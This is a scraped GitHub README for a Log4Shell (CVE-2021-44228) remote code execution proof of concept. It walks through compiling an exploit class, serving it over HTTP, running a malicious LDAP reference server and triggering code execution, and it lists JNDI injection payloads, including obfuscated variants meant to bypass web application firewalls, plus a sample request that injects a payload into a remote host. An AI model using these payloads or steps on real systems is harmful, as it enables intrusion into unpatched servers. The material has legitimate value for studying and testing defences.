main Go to file Code

tangxiaofeng7 Merge pull request #25 from fulldecent/... fb9bf77 · 3 years ago 23 Commits

.idea	update readme.md	3 years ago
src/main/java	move Exploit.java out of src/main/java ...	3 years ago
.gitignore	move Exploit.java out of src/main/java ...	3 years ago
Exploit.java	move Exploit.java out of src/main/java ...	3 years ago
README.md	Fix typo	3 years ago
log4j-rce.iml	update readme.md	3 years ago
pom.xml	update pom to support command line ...	3 years ago

README

CVE-2021-44228(Apache Log4j Remote Code Execution)

> all log4j-core versions >=2.0-beta9 and <=2.14.1

The version of 1.x have other vulnerabilities, we recommend that you update the latest version.

Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)

Usage:

download this project, compile the exploit code blob/master/src/main/java/Exploit.java, and start a webserver allowing downloading the compiled binary.

```
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4
cd CVE-2021-44228-Apache-Log4j-Rce

javac Exploit.java

# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888

# make sure python webserver is running the same directory as Exploi
  curl -I 127.0.0.1:8888/Exploit.class
```

download another project and run *LDAP server implementation returning JNDI references*
https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

About

Apache Log4j 远程代码执行

Readme
Activity
75 stars
2 watching
26 forks
Report repository

Releases

No releases published

Packages

No packages published

Contributors 4

tangxiaofeng7 唐小风
fulldecent William Entriken
carun Arun
lidingpku Li Ding

Languages

Java 100.0%

```
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LD
```

build and run the activation code (simulate an log4j attack on a vulnerable java web server) blob/master/src/main/java/log4j.java, and your calculator app will appear.

```
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j

# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
#  Send LDAP reference result for Exploit redirecting to http://127.(
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
```

Tips:

> Do not rely on a current Java version to save you. Update Log4 (or remove the JNDI lookup). Disable the expansion (seems a pretty bad idea anyways).

Bypass rc1

For example:

```
${jndi:ldap://127.0.0.1:1389/ badClassName}
```

Bypass WAF

```
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdas(
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://
```

> Don't trust the web application firewall.

Details Of Vuln

Lookups provide a way to add values to the Log4j configuration at arbitrary places.

Lookups

> The methods to cause leak in finally

```
LogManager.getLogger().error()
LogManager.getLogger().fatal()
```

Simple Check Method

If you want to do black-box testing， I suggest you do passive scanning.

BurpLog4jScan

Have Fun!!!

URL	Status	result
http://vulfocus.fofa.so:37358/hello	finished	vul!!!
http://vulfocus.fofa.so:37358/hello	finished	vul!!!

Request Response

Pretty Raw Hex \n

```
POST /hello HTTP/1.1
Host: vulfocus.fofa.so:15639
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: gfyPlatLang=zh; _tpmGuid=TY-008e01b56f754591
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

payload=${jndi%3aldap%3a//fatzxrhsig9i66y3jbreajkuelkb80.burpcollaborator.net}
```

Stargazers over time